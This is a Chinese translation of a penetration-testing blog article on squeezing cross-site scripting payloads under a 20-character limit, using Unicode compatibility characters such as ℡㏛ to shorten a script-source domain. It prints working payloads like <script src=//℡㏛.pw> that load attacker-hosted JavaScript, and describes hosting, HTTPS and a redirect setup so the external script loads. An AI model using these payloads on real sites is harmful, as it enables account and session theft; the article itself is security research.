在XSS测试中如何绕过字符长度限制(续)
在以前的NOSEC文章中,曾发布过一个在20个字符限制下进行XSS攻击(引入外界XSS脚本)的文章(https://nosec.org/home/detail/3206.html)。而本文作者对其中原理进行深入了研究,找到了更多相关payload。
跨站脚本(XSS)是在Web渗透测试中发现的最常见的漏洞之一。但是,根据注入点的位置不同,对攻击字符可能会存在各种限制。而在这篇文章中,将展示利用unicode的兼容性来绕过限制,进行XSS攻击。
Unicode的兼容性
Unicode定义了两种等价关系,其中之一的anonical equivalence
严格保守,所有代码点在打印或显示的时候必须具有相同的外观和含义才能判定成功。
而Compatible equivalence
规范较为宽松,代码点可能具有不同的外观,但也会判定一致,例如,ff
字符就相当于ff
。不同的策略可能导致不同的结果。
20字符长度限制
我们假设XSS注入点存在长度限制,必须使用20个字符以内的payload进行攻击:
<svg/onload=alert``>
虽然以上payload能弹框,但这是无害的。为了证明危害性,我们需要加载一个外部JS文件,以进行更复杂的攻击。
<script src=//aa.es>
如上外部域名就很完美,整体长度没超过20个字符。但所有这类域名几乎都被占用或者太贵了。
利用
此时我们就需要利用浏览器对Unicode字符等价判定的不同。先让我们来看一个例子,假设我们有这个payload:
<script src=//ffff.pw>
请注意,ff
只是一个字符,但是当浏览器解析它时,它将表现为ff
,即两个字符。这就能帮助我们大幅减少购买域名的花费。
ff
对应到ff
℠
对应到sm
㏛
对应到sr
st
对应到st
㎭
对应到rad
℡
对应到tel
如果你想了解更多字符,可以在这里找到。
要查看字符的分解,可以点击这里:
让我们注册一个域名,例如telsr.pw
,只需1.28美元。
而我们最后的payload是这样的:
<script src=//℡㏛.pw>
由于Unicode的兼容性,我们成功使用20个字符达到了23个字符的效果。
下一步
此时,我们注册了一个域名,目标也会访问这个域名,但它上面并没有任何payload。
为了实际进行攻击,可能需要进行DNS重定向:
XSS被触发,浏览器试图加载
telsr.pw
域名的内容通过DNS重定向到
xsshunter.com
,进行XSS攻击。
但是还有一个问题,如果通过HTTPS
连接,一旦用src=\\url
触发一个脚本,那么协议将与网站相同。然后,如果我们执行DNS重定向到另一个站点,就会出现证书不匹配,JS文件就无法加载。
如果只是HTTP通信,这都不是问题,但如今HTTPS才是主流。
对此,解决办法如下:
1.购买一台主机绑定该域名,最便宜的是1.44美元/月。
2.设置一个HTTPS证书,第一年是免费的。
3.在控制面板中,转到重定向表单并执行重定向到JS文件所在的位置。这里并不是DNS重定向,而是服务器重定向,因此不会出现证书不匹配错误。url将提供在步骤2中生成的有效证书。
4.重定向成功,触发payload。
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://jlajara.gitlab.io/posts/2019/11/30/XSS_20_characters.html
最新评论